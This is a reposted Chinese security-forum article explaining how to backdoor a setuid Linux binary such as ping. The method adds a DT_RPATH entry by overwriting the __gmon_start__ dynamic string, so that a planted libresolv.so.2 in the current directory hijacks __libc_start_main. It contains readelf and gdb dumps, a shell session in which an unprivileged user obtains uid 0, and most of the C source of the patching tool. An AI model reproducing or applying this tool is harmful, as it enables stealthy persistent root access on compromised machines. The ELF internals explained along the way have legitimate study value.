发表文章 返回首页
当前位置: bitsCN.com > 网络攻防 > 安全文摘 >

解析Elf文件DT_RPATH后门

时间:2004-04-11 10:29来源:中国网管联盟 作者:BitsCN整理 点击:
:wujian (wujianqiangis@mail.china.com) Date:2003/12/27 一.前言 二.分析 三.结论 四.实现 五.参考 一.前言  前一段时间回顾elf文件方面的知识时,翻了以前很多优秀的文章,在xfocus的帮助文件unix版中看到了alert7大侠 ELF后门之DT_RPATH篇 这篇文章,看了一下时
   :wujian (wujianqiangis@mail.china.com)
Date:2003/12/27

一.前言
二.分析
三.结论
四.实现
五.参考


一.前言
  前一段时间回顾elf文件方面的知识时,翻了以前很多优秀的文章,在xfocus的帮助文件unix版中看到了alert7大侠
<<ELF后门之DT_RPATH篇>> 这篇文章,看了一下时间9月/14号,那段时间忙着重修,没到网吧去。alert7没有贴
代码,我想还是有人不了解,就把这篇文章写出来给大家整理性的介绍一下,这里指的是linux下。
  这篇文章不是介绍elf基础的文章,所以一些概念性的东西请参考elf鉴别,然后拿起你的gdb实际去了解一下啥叫got,
plt,重定向的概念,了解一下动态连接和静态连接,用readelf或者objdump实际看一下,后面的参考中可以找到你需要的。
文中错误再所难免,欢迎指正;)
二.分析
后门存在的原因:
————————————————————————————————————————————————
引自<<ELF后门之DT_RPATH篇>>
*动态数组标记DT_RPATH保存着目录列表的字符串(用冒号(:)分隔)。
例如,字符串/home/dir/lib:/home/dir2/lib:告诉动态连接器先搜索
中国网管联盟www.bitscn.com

/home/dir/lib,再搜索/home/dir2/lib,再是当前目录。
LD_LIBRARY_PATH环境变量设置的目录在DT_RPATH指向的目录之后被搜索。
而且出于安全考虑,动态连接器忽略set-user和set-group的程序的
LD_LIBRARY_PATH所指定的搜索目录。但它会搜索DT_RPATH指明的目录和
/usr/lib。所以这个DT_RPATH还是比较感兴趣的。
有了以上的基本知识,我们可以在一个set-user的程序上安装一个DT_RPATH入口(一般程序都没有)。
让其搜索路径首先为当前目录。把我们自己编写的库以其名字放到当前目录下,更让其加栽我们自己的动态库。
这样我们就可以得到set-user的权限了。

截获了__libc_start_main,肯定能确保ping 程序放弃特权之前执行。(假如截获malloc之类的就不能确保了)。
因为我们用到了一些libc.so.6中的函数,所以我们需要把我们自己的LIB以libresolv.so.2的名字存放在当前目录下。


————————————————————————————————————————————————————————————————————————————————————

由此实现这个后门的关键在于:

a:修改或添加(通常是不存在的)在.dynamic节中(数组)d_tag为DT_RPATH的入口结构(entry)d_un.d_val指向为到
54ne.com

.dynstr节的的一个以**NULL结尾字符串的偏移量(如果存在DT_RATH的话).此字符串是路径的集合,其中路径以:分开。
最后一个:后面表示当前目录,如果前面的字符串改成这样的"_wujianqiang:\0"(这样用来表示一个NULL;))表明现在当前
目录下的_wujianqiang子目录中寻找,然后再在当前目录下寻找,显然这里采用的相对目录,我们主要是构造这个字符串,同时
我们要想到,我们是添加一个这样的字符串还是修改某个字符串成为我们需要的形式,显然前者就比较复杂,就要使program header ,
section 的某些成员都要改变,所以我们采用修改的方法,找一个动态符号修改,这里我选用了__gmon_start__这个字符串。
当然其它的也可以,不过发现__gmon_start__有点特殊,并且几乎所有的程序里都有这个符号,所以我就选了这个。
  通常d_tag为DT_RPATH的入口结构不存在,所以我们要添加这个DT_RPATH,实际上.dynamic数组中应该有几个空的没用的这样
的NULL入口,(一般都可以找到)所以我在程序中找的是第一个NULL入口,没有采用修改某些入口的方法。同样的这里我们不需要修改任
何section,program header 的某些结构成员,因为这里有并且存在entry结构,我们不用添加只要修改。至此我们的elf文件修

中国网管联盟www、bitsCN、com


改任务结束。

b.现在我们只需要做的就是截获那个函数的问题,alert7提出了截获__libc_start_main这个函数,我们就来截获这个函数
但是为啥“能够“截获这个函数的原因我们在后面讲述。

我们先解决问题a:
下面是相关知识
  通常来说每一个动态连接的object它的程序头表将有一个类型为PT_DYNAMIC的元素。该“段”包含了.dynamic section。
每个入口(entry)的结构如下:
+ 图一. Dynamic Structure
typedef struct
{
  Elf32_Sword d_tag;/* Dynamic entry type */
  union
  {
  Elf32_Word d_val; /* Integer value */
  Elf32_Addr d_ptr; /* Address value */
  } d_un;
} Elf32_Dyn;
下面用readelf解释一下
+图二
[wujian@redhat72 elf_door]$ readelf -l ./pinG
Program Headers:
  Type Offset VirtAddr PhysAddr FileSiz MemSizFlg Align
  [....]
  DYNAMIC0x005618 0x0804e618 0x0804e618 0x000d0 0x000d0 RW0x4

Section to Segment mapping:
54com.cn

  Segment Sections...
  [....]
  04 dynamic
[wujian@redhat72 elf_door]$ readelf -S ./pinG
There are 24 section headers, starting at offset 0x57cc:

Section Headers: 其中省略部分
  [Nr] NameTypeAddr OffSize ES Flg Lk Inf Al
  [ 4] .dynsym DYNSYM080482a0 0002a0 000370 10 A5 14
  [ 5] .dynstr STRTAB08048610 000610 000233 00 A0 01
  [ 8] .rel.dynREL 080488e4 0008e4 000030 08 A4 04
  [ 9] .rel.pltREL 08048914 000914 000168 08 A4 b4
  [11] .pltPROGBITS08048a94 000a94 0002e0 04AX0 04
  [12] .text PROGBITS08048d80 000d80 003230 00AX0 0 16
  [19] .gotPROGBITS0804e554 005554 0000c4 04WA0 04
  [20] .dynamicDYNAMIC 0804e618 005618 0000d0 08WA5 04

中国网管联盟www.bitscn.com


  注意LK字段“关联“的含义,.dynamic节关联着[5].dynstr节,[4].dynsym节也关联着.dynstr节,[8],[9]
  节关联着.dynsym节

对每一个有该类型的object,d_tag控制着d_un的解释。
+ 图三: Dynamic Array Tags, d_tag

  Name Valued_un Executable Shared Object
  ==== ========= ========== =============
  DT_NULL0ignoredmandatorymandatory
  DT_NEEDED1d_valoptional optional
  DT_STRTAB5d_ptrmandatorymandatory
  [...]省略,保留了我们关心的
  DT_RPATH15d_valoptional ignored
  [...]
DT_NULL标记的入口表示了_DYNAMIC数组,也既.dynamic节的结束。
DT_NEEDED这个entry, 这个元素保存着以NULL结尾的字符串表的偏移量,这些字符串是所需库的名字。该偏移量是以DT_STRTAB
为入口的表的索引。动态数组可能包含了多个这个类型的入口。那些入口的[[相关顺序]]是重要的.请注意相关顺序!---->注意

中国网管联盟www.bitscn.com


DT_STRTAB该元素保存着字符串表地址,在第一部分有描述,包括了符号名,库名, 和一些其他的在该表中的字符串。
DT_RPATH该元素在联合结构d_val保存着以NULL结尾的搜索库的搜索目录字符串的字符串表偏移量。 ----->注意

+图四
[wujian@redhat72 elf_door]$ readelf -d ./pinG

Dynamic segment at offset 0x5618 contains 22 entries:
  TagType Name/Value
0x00000001 (NEEDED) Shared library: [libresolv.so.2]
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000c (INIT) 0x8048a7c
0x0000000d (FINI) 0x804bfb0
0x00000004 (HASH) 0x8048128
0x00000005 (STRTAB) 0x8048610
0x00000006 (SYMTAB) 0x80482a0
0x0000000a (STRSZ)541 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG)0x0
0x00000003 (PLTGOT) 0x804e554 中国网管联盟www、bitsCN、com
0x00000002 (PLTRELSZ) 360 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x8048914
0x00000011 (REL)0x80488e4
0x00000012 (RELSZ)48 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x6ffffffe (VERNEED)0x80488b4
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x8048844
0x0000000f (RPATH)Library rpath: [_wujianqiang:]
0x00000000 (NULL) 0x0

从上面看到DT_STRTAB联合d_un中的v_ptr指向的是[5].dynstr节
.plt 的概念在这里不再阐述。注意JMPREL,PLTGOT.
通过上面的一些介绍,我们进入正式的话题,首先我们要解决的是修改"__gmon_start__"为"_wujianqiang:\0"或者
"xxx:\0"类似的东西,实际":\0"就行了。以NULL结尾就ok了。

问题为啥修改__gmon_start__这个符号?

下面我们先看一个正常的关于__gmon_start__的输出
[wujian@redhat72 elf_door]$ readelf -a ./elf 网管网bitsCN_com
[...]
Relocation section '.rel.dyn' at offset 0x478 contains 2 entries:
  OffsetInfoTypeSymbol's ValueSymbol's Name
  0804a2e401506 R_386_GLOB_DAT00000000__gmon_start__

Symbol table '.dynsym' contains 22 entries:
Num:ValueSize TypeBind VisNdx Name
[...]
97: 00000000 0 NOTYPEWEAK DEFAULTUND __gmon_start__


NameValueField Calculation
  =========================
  R_386_GLOB_DAT 6word32S 通常我们看到的是R_386_JMP_SLOT这种类型的

R_386_GLOB_DAT This relocation type is used to set a global offset table entry to the address
of the specified symbol. The special relocation type allows one to determine
the correspondence between symbols and global offset table entries.

* R_386_GLOB_DAT

  这种重定位类型用于设置一个全局偏移表入口为指定符号的地址。该特定的重定位 (alert7大侠译)
  类型允许你决定符号和全局偏移表入口之间的一致性。
feedom.net


S This means the value of the symbol whose index resides in the relocation entry.

* S

  表示索引驻留在重定位入口处的符号值。

[19] .gotPROGBITS0804a290 001290 000058 04WA0 04
[20] .dynamicDYNAMIC 0804a2e8 0012e8 0000c8 08WA5 04
offset=0804a2e4
实际上这个重定位标示的偏移是got节的最后一个入口,并设置这个入口的值为__gmon_start__的这个符号的地址。

下面做一个小测试实际看一下:
/*test.c*/
int __gmon_start__(){return 0;}
int main(){return __gmon_start__();}
EOF
[wujian@redhat72 elf_door]$ readelf -a test
Section Headers:
  [Nr] NameTypeAddr OffSize ES Flg Lk Inf Al
  [..]
  [ 8] .rel.dynREL 08048294 000294 000008 08 A4 04
  [ 9] .rel.pltREL 0804829c 00029c 000020 08 A4 b4
  [..]
  [12] .text PROGBITS08048330 000330 000160 00AX0 0 16 网管网bitsCN_com
  [19] .gotPROGBITS080494dc 0004dc 000020 04WA0 04
  [20] .dynamicDYNAMIC 080494fc 0004fc 0000c8 08WA5 04
----------------------------------------------------------------
Relocation section '.rel.dyn' at offset 0x294 contains 1 entries:
OffsetInfoTypeSymbol's ValueSymbol's Name
080494f800606 R_386_GLOB_DAT08048430__gmon_start__ offset=0x080494f8实际是got的最后一个入口偏移
----------------------------------------------------------------
Relocation section '.rel.plt' at offset 0x29c contains 4 entries:
  OffsetInfoTypeSymbol's ValueSymbol's Name
  080494e800107 R_386_JUMP_SLOT 080482e4__register_frame_info
  080494ec00207 R_386_JUMP_SLOT 080482f4__deregister_frame_info
  080494f000307 R_386_JUMP_SLOT 08048304__libc_start_main
---------------------------------------------------------------- 中国网管论坛bbs.bitsCN.com
Symbol table '.dynsym' contains 7 entries:
  Num:ValueSize TypeBind VisNdx Name
  3: 08048304 202 FUNCGLOBAL DEFAULTUND __libc_start_main@GLIBC_2.0 (2)
  6: 0804843010 FUNCGLOBAL DEFAULT 12 __gmon_start__
rel.dyn实际重定位对应.dynsym 本来__gmon_start__不应该出现在这里,对应与上面的解释
10个字节,函数类型,value为0x8048430,关联与[12].text
----------------------------------------------------------------
Symbol table '.symtab' contains 77 entries:
 Num:ValueSize TypeBind VisNdx Name
 [..] 实际上__gmon_start不需要重定位
  67: 08048304 202 FUNCGLOBAL DEFAULTUND __libc_start_main@@GLIBC_2.0
  76: 0804843010 FUNCGLOBAL DEFAULT 12 __gmon_start__

------------------------------------------------------------------
[wujian@redhat72 elf_door]$ gdb -q test
(gdb) disas main
Dump of assembler code for function main:
中国网管联盟www_bitscn_com

0x804843c <main>: push %ebp
0x804843d <main+1>: mov%esp,%ebp
0x804843f <main+3>: sub$0x8,%esp
0x8048442 <main+6>: call 0x8048430 <__gmon_start__>
0x8048447 <main+11>:mov%eax,%eax
0x8048449 <main+13>:mov%eax,%eax
0x804844b <main+15>:leave
0x804844c <main+16>:ret
0x804844d <main+17>:lea0x0(%esi),%esi
End of assembler dump.
(gdb) b *0x8048430
Breakpoint 1 at 0x8048430
(gdb) r
Starting program: /home/wujian/share/elf_door/test

Breakpoint 1, 0x08048430 in __gmon_start__ ()
(gdb) disas
Dump of assembler code for function __gmon_start__:
0x8048430 <__gmon_start__>: push %ebp
0x8048431 <__gmon_start__+1>: mov%esp,%ebp
0x8048433 <__gmon_start__+3>: mov$0x0,%eax
0x8048438 <__gmon_start__+8>: pop%ebp
0x8048439 <__gmon_start__+9>: ret
0x804843a <__gmon_start__+10>:mov%esi,%esi
网管网bitsCN_com

End of assembler dump.
(gdb) x/x 0x80494f8 ---〉got偏移地址offset处的入口值修改为该符号的地址
0x80494f8 <_GLOBAL_OFFSET_TABLE_+28>: 0x08048430

综上所述,推断出结论了吧;(

这个修改很简单通过遍历section,我们先寻找节类型sh_type==SHT_DYNSYM的动态符号节.dynsym节,同时这个节关联这.dynstr节
(看图三)sh_link=[5].dynstr,我们把dynstr节缓存,然后寻找符号的st_name(偏移索引)是否等同于__gmon_start__,
然后修改,以上修改结束,并且我们得到了index索引的偏移;
然后添加DT_RPATH这个entry,上面说过的我们寻找第一个NULL入口,我们通过遍历.dynamic数组找到第一个NULL入口结构
然后修改d_tag为DT_RPATH,然后把上面的到的index添入d_un.val中,至此修改elf文件完毕。
至此我们任务a完毕。

现在我们来看问题b:
为啥"能够"截获__libc_start_main()?
这就要涉及到符号解析和plt的概念
我们还用上面的test.c演示;
[wujian@redhat72 elf_door]$ gdb -q test
(gdb) disas _start
Dump of assembler code for function _start:
0x8048330 <_start>: xor%ebp,%ebp 中国网管联盟www.bitscn.com
0x8048332 <_start+2>: pop%esi
0x8048333 <_start+3>: mov%esp,%ecx
0x8048335 <_start+5>: and$0xfffffff0,%esp
0x8048338 <_start+8>: push %eax
0x8048339 <_start+9>: push %esp
0x804833a <_start+10>:push %edx
0x804833b <_start+11>:push $0x8048490
0x8048340 <_start+16>:push $0x80482bc
0x8048345 <_start+21>:push %ecx
0x8048346 <_start+22>:push %esi
0x8048347 <_start+23>:push $0x804843c
0x804834c <_start+28>:call 0x8048304 <__libc_start_main> ---〉(实际也是需要重定位的,最关键的)
0x8048351 <_start+33>:hlt
0x8048352 <_start+34>:mov%esi,%esi
End of assembler dump.
(gdb) b *0x8048304
Breakpoint 1 at 0x8048304
(gdb) r
Starting program: /home/wujian/share/elf_door/test
Breakpoint 1 at 0x8048304: file ../sysdeps/generic/libc-start.c, line 53.

Breakpoint 1, 0x08048304 in __libc_start_main () at ../sysdeps/generic/libc-start.c:53 网管网bitsCN_com
53../sysdeps/generic/libc-start.c: No such file or directory.
  in ../sysdeps/generic/libc-start.c
(gdb) disas
Dump of assembler code for function __libc_start_main:
0x8048304 <__libc_start_main>:jmp*0x80494f0 0x8048304 plt中的entry0x80494f0是got的地址
0x804830a <__libc_start_main+6>:push $0x10
0x804830f <__libc_start_main+11>: jmp0x80482d4 <_init+24>
End of assembler dump.
(gdb)
下面关于符号解析的问题请参考alert7大侠的<< ELF动态解析符号过程(修订版)>>。需要注意的是我们之所以能截获__libc_start_
main是因为ping这个程序加载了两个.SO, 解析符号时link_map的结构中两个双向链表连接被加载的.SO,因为实际上因为顺着链表查询
符号因为先找到libresolv.so.2,然后才是libc.so.6。看图3注意处,DT_NEEDED,基本说明白了。
具体的过程不贴了,自己动手fixup一下。
我们看一下真实的ping DT_RPATH后门
[wujian@redhat72 elf_door]$ id
uid=500(wujian) gid=500(wujian) groups=500(wujian)
[wujian@redhat72 elf_door]$ su root 54ne.com
Password:
[root@redhat72 elf_door]# cp /bin/ping /bin/pinG
[root@redhat72 elf_door]# cp addelfrpath disp/
[root@redhat72 elf_door]# cp libresolv.so.2 disp/
[root@redhat72 elf_door]# cd disp
[root@redhat72 disp]# ls
addelfrpathlibresolv.so.2
[root@redhat72 disp]# /bin/pinG
Usage: ping [-LRUbdfnqrvV] [-c count] [-i interval] [-w wait]
  [-p pattern] [-s packetsize] [-t ttl] [-I interface address]
  [ -T timestamp option ] [ -Q tos ] host
[root@redhat72 disp]# readelf -d /bin/pinG

Dynamic segment at offset 0x5618 contains 21 entries:
  TagType Name/Value
0x00000001 (NEEDED) Shared library: [libresolv.so.2]
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000c (INIT) 0x8048a7c
0x0000000d (FINI) 0x804bfb0
0x00000004 (HASH) 0x8048128
0x00000005 (STRTAB) 0x8048610 中国网管论坛bbs.bitsCN.com
0x00000006 (SYMTAB) 0x80482a0
0x0000000a (STRSZ)541 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG)0x0
0x00000003 (PLTGOT) 0x804e554
0x00000002 (PLTRELSZ) 360 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x8048914
0x00000011 (REL)0x80488e4
0x00000012 (RELSZ)48 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x6ffffffe (VERNEED)0x80488b4
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x8048844
0x00000000 (NULL) 0x0
[root@redhat72 disp]# ./addelfrpath /bin/pinG
+hErE is to Start
+filetype is ok
+modify__gmon_start__ to_wujianqiang:
+20 real entrys add DT_RPATH entry
game over
[root@redhat72 disp]# readelf -d /bin/pinG
中国网管联盟www_bitscn_com

Dynamic segment at offset 0x5618 contains 22 entries:
  TagType Name/Value
0x00000001 (NEEDED) Shared library: [libresolv.so.2]
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000c (INIT) 0x8048a7c
0x0000000d (FINI) 0x804bfb0
0x00000004 (HASH) 0x8048128
0x00000005 (STRTAB) 0x8048610
0x00000006 (SYMTAB) 0x80482a0
0x0000000a (STRSZ)541 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG)0x0
0x00000003 (PLTGOT) 0x804e554
0x00000002 (PLTRELSZ) 360 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x8048914
0x00000011 (REL)0x80488e4
0x00000012 (RELSZ)48 (bytes)
0x00000013 (RELENT) 8 (bytes) 网管网bitsCN.com
0x6ffffffe (VERNEED)0x80488b4
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x8048844
0x0000000f (RPATH)Library rpath: [_wujianqiang:]
0x00000000 (NULL) 0x0
[root@redhat72 disp]# exit
exit
[wujian@redhat72 elf_door]$ cd disp
[wujian@redhat72 disp]$ ls -l
total 28
-rwxr-xr-x1 root root17822 Apr 27 00:36 addelfrpath
-rwxr-xr-x1 root root 5610 Apr 27 00:36 libresolv.so.2
[wujian@redhat72 disp]$ ls -l /bin/pinG
-rwsr-xr-x1 root root23436 Apr 27 00:38 /bin/pinG
[wujian@redhat72 disp]$ /bin/pinG
[root@redhat72 disp]# id
uid=0(root) gid=500(wujian) groups=500(wujian)
[root@redhat72 disp]#

三.结论
通过一些实验,基本上所有的suid的程序只要加载了依赖的.SO就可以添加这个后门。这是一项简单而巧妙的技术,而且不宜
被发现,所以一个完整性校检是安全的重要保证,但我对一个系统被入侵后还能不能用已经不报希望了:) 54com.cn

四.程序实现
/*
* elfaddRPATH.c
* by wujian (wujianqiangis@mail.china.com) only tested on rh72.
* only for test :) thanks alert7@xfocus scz@nsfocus wandb@nsfocus silvio@big.net.au
* about ELF articles.
*
*/
#include//not supply the header files :) and some simple codez not supply


#define ERR(fn){ perror(fn);exit(1);}
char * symgname="__gmon_start__";//default modify symbol name

char* m_symgname="__gmon_start:";
char *myname="_wujianqiang:" //modify to ...
void elf_check(Elf32_Ehdr *ehdr);
static int add_ent(int fd ,unsigned int * index , Elf32_Ehdr * ehdr, Elf32_Shdr * shdr);
static int mod_sym(int fd , Elf32_Ehdr * ehdr,Elf32_Shdr * shdr,char * symname);

/*---------------------------------add entry in .dynamic section-------------------------*/
  static int add_ent(int fd ,unsigned int * index , Elf32_Ehdr * ehdr, Elf32_Shdr * shdr) 中国网管论坛bbs.bitsCN.com
{
 Elf32_Shdr * shdyn=shdr;
 Elf32_Dyn* dyn,*dynp;
 int i,offset=0;
 int ent=0;
 int find=0;
 int dt_rpath=15; //from elf spec DT_RPATH=15

 for(i=0;i<ehdr->e_shnum;i++)
  {
  if(shdyn->sh_type==SHT_DYNAMIC)
 {
  find=1;
  break ;
 }
 shdyn++;

  }
  if(find==0)
  {
  printf(".dynamic sectionnot find\n");
  exit(0);
  }
  dyn=(Elf32_Dyn *)malloc(shdyn->sh_size);
  if(dyn==NULL)
  ERR("malloc");
  if(lseek(fd,shdyn->sh_offset,SEEK_SET)!=shdyn->sh_offset)
  ERR("lseek");
  if(read(fd,dyn,shdyn->sh_size)!=shdyn->sh_size)
  ERR("read");
  dynp=dyn;
  for(i=0;i<shdyn->sh_size;i+=shdyn->sh_entsize)

54com.cn


 {
  ent++;
/*here is only find first NULL entry , not think too much,also don't find DT_RPAHT is exist!
add your code here:) */
  if(dynp->d_tag==0 && (dynp->d_un.d_val==0 || dynp->d_un.d_ptr==0))
 {
 printf("+%d real entrys add DT_RPATH entry\n",ent-1);
 offset=(dynp-dyn)*shdyn->sh_entsize;
 goto modify;
 }

 dynp++;
 }

 out:
 printf("no space\n");
 free(dyn);
 return -1;
modify:
 if(lseek(fd,shdyn->sh_offset+offset,SEEK_SET)!=shdyn->sh_offset+offset)
 ERR("lseek");
 if(write(fd,&dt_rpath,sizeof(dynp->d_tag))!=sizeof(dynp->d_tag))
 ERR("write");
 if(write(fd,index,sizeof(dynp->d_un.d_val))!=sizeof(dynp->d_un.d_val)) 中国网管联盟www、bitsCN、com
 ERR("write");
 printf("+game over\n");
 free(dyn);
 return 0;
 
}
/*---------------------------------modifiy symbol name-------------------------------------------*/
  static int mod_sym(int fd , Elf32_Ehdr * ehdr,Elf32_Shdr * shdr,char * symname)
{

  Elf32_Shdr * shdrp=shdr;//for loop
  Elf32_Shdr * strsym;
  char * string;
  Elf32_Sym *sym,*symp;
  int i;
  int find=0;
  for(i=0;i<ehdr->e_shnum;i++)
 {
 if(shdrp->sh_type==SHT_DYNSYM)
 { find=1;
 break;
 }
 shdrp++;
 }
  if(!find)
 {
  printf("not find SHT_DYNSYM\n");
  exit(1);
 }
  strsym=&shdr[shdrp->sh_link];
  string=(char *)malloc(strsym->sh_size);

  if(strsym==NULL)
  ERR("malloc"); 网管网bitsCN_com
  if(lseek(fd,strsym->sh_offset,SEEK_SET)!=strsym->sh_offset)
  ERR("lseek");
  if(read(fd,string,strsym->sh_size)!=strsym->sh_size)
  ERR("read");
  sym=(Elf32_Sym *)malloc(shdrp->sh_size);
  if(sym==NULL)
  ERR("malloc");
  if(lseek(fd,shdrp->sh_offset,SEEK_SET)!=shdrp->sh_offset)
  ERR("malloc");
  if(read(fd,sym,shdrp->sh_size)!=shdrp->sh_size)
  ERR("read");
  symp=sym;
  for(i=0;i<shdrp->sh_size;i+=shdrp->sh_entsize)
 {
 if(!strcmp(&string[symp->st_name],symname))
 {

  if(lseek(fd,strsym->sh_offset+symp->st_name,SEEK_SET)!=strsym->sh_offset+symp->st_name)
  ERR("lseek");
  printf("+modify%s to%s \n",symgname,myname);
  if(write(fd,myname,strlen(symgname))!=strlen(symgname))

中国网管联盟www、bitsCN、com


  ERR("write");
  free(string);
  return symp->st_name;
 }
 symp++;
 }
printf("not find match symbol\n");
return -1;
}

/*---------------------------------file check--------------------------------------------*/
voidelf_check(Elf32_Ehdr *ehdr)
{
//add your code here ,not supply
}
/*---------------------------------------main----------------------------------------------------*/
int main(int argc , char * argv[])
{
  Elf32_Ehdr ehdr;
  Elf32_Phdr *phdr;
  Elf32_Shdr *shdr;
  char *sdata;
  int ofshoff,slen;
  int fd;
  unsigned int index;
  if(argc!=2)
  {printf("usage:%s <filename>\n"
  "elfADDRPATH by wujianqiang@mail.china.com\n",
 argv[0]
  );

中国网管联盟www、bitsCN、com


  exit(1);
  }
  printf("+hErE is to Start\n");
  if((fd=open(argv[1],O_RDWR))<0)
  ERR("open");
  if(read(fd,&ehdr,sizeof(ehdr))!=sizeof(ehdr))
  ERR("read");
  elf_check(&ehdr);
  printf("+filetype is ok\n");
  sdata = (char *)malloc(slen=sizeof(*shdr)*ehdr.e_shnum);
  if (sdata == NULL)
  ERR("malloc");
  if (lseek(fd, ofshoff = ehdr.e_shoff, SEEK_SET) < 0)
  ERR("lseek");
  if (read(fd, sdata, slen) != slen)
  ERR("read");
  if((index=mod_sym(fd,&ehdr,(Elf32_Shdr *)sdata,symgname))<0)
  exit(1);
  if(add_ent(fd,&index,&ehdr,(Elf32_Shdr *)sdata)<0)
  {
  printf("+some err?\n");exit(1);
  }
  close(fd);
  free(sdata);
  exit(0);
}

EOF

五.参考 (因为我宿舍不能上网,所以我只能贴一部分连接地址:)
54com.cn

1.ELF动态解析符号过程(修订版) by alert7
http://www.xfocus.net/articles/200201/337.html
2.ELF后门之DT_RPATH篇 by alert7
安全焦点unix版
3. ELF文件格式(中文) by alert7
http://www.xfocus.net/articles/200105/174.html
4.共享库注射--injectso实例by grip2
http://www.xfocus.net/articles/200208/438.html
5.p56-7
<<SHARED LIBRARY CALL REDIRECTION VIA ELF PLT INFECTION>> by Silvio Cesare
6.如何修改动态库符号表 by wandb
顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
最新评论 查看所有评论
发表评论 查看所有评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 密码: 验证码:
发布者资料
admin 查看详细资料 发送留言 加为好友 用户等级:注册会员 注册时间:2008-05-08 23:05 最后登录:2009-01-05 00:01
推荐内容